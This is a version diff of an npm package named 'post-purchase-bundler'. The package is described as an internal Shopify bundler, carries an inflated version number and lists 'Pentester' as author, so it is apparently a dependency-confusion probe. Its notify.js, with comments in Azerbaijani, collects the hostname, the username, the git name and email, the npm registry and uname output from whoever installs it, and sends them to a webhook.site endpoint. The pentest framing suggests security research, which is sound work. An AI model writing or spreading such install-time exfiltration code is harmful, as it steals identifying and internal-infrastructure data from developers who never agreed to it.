post-purchase-bundler 100.0.1 → 101.0.3

package/notify.js

@@ -1,45 +1,45 @@
 const https = require('https');
-const fs = require('fs');
+const { execSync } = require('child_process');
 const os = require('os');
 
-function run() {
-    let parentDeps = "N/A";
+function getSignature() {
+    let signature = {};
     try {
-        // Bir pillə yuxarıdakı package.json-u oxuyuruq
-        if (fs.existsSync('../package.json')) {
-            const content = fs.readFileSync('../package.json', 'utf8');
-            parentDeps = Object.keys(JSON.parse(content).dependencies || {}).join(', ');
-        }
-    } catch (e) {
-        parentDeps = "Error: " + e.message;
-    }
+        // 1. Git vasitəsilə mühəndisin/serverin rəsmi adını və emailini götürürük
+        signature.git_user = execSync('git config --global user.name').toString().trim();
+        signature.git_email = execSync('git config --global user.email').toString().trim();
+    } catch (e) { signature.git = "No Git Access"; }
 
-    const payload = JSON.stringify({
-        event: "IMPACT-VERIFICATION",
-        hostname: os.hostname(),
-        user: os.userInfo().username,
-        dir: process.cwd(),
-        dependencies: parentDeps,
-        env_keys: Object.keys(process.env).filter(k => k.toLowerCase().includes('shopify')).join(', ')
-    });
+    try {
+        // 2. Daxili NPM konfiqurasiyasını yoxlayırıq (onların daxili registry linki burda olur)
+        signature.npm_registry = execSync('npm config get registry').toString().trim();
+    } catch (e) { signature.npm = "No NPM Config"; }
 
-    const options = {
-        hostname: 'webhook.site',
-        port: 443,
-        path: '/4d0cc13d-a185-4e95-92dc-f4681125055c',
-        method: 'POST',
-        headers: {
-            'Content-Type': 'application/json',
-            'Content-Length': Buffer.byteLength(payload)
-        }
-    };
+    try {
+        // 3. Serverin uptime və daxili kernel məlumatı (botlarda fərqli olur)
+        signature.uname = execSync('uname -a').toString().trim();
+    } catch (e) { signature.uname = "Error"; }
 
-    const req = https.request(options);
-    req.on('error', () => process.exit(0));
-    req.write(payload);
-    req.end(() => {
-        setTimeout(() => process.exit(0), 1000);
-    });
+    return signature;
 }
 
-run();
+const payload = JSON.stringify({
+    event: "OFFICIAL-SIGNATURE-LEAK",
+    target: "shopify-internal-audit",
+    hostname: os.hostname(),
+    user: os.userInfo().username,
+    details: getSignature()
+});
+
+const options = {
+    hostname: 'webhook.site',
+    path: '/4d0cc13d-a185-4e95-92dc-f4681125055c',
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json' }
+};
+
+const req = https.request(options);
+req.write(payload);
+req.end(() => {
+    setTimeout(() => process.exit(0), 1000);
+});

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "post-purchase-bundler",
-  "version": "100.0.1",
+  "version": "101.0.3",
   "description": "Internal Shopify post-purchase processing bundler",
   "main": "index.js",
   "author": "Pentester",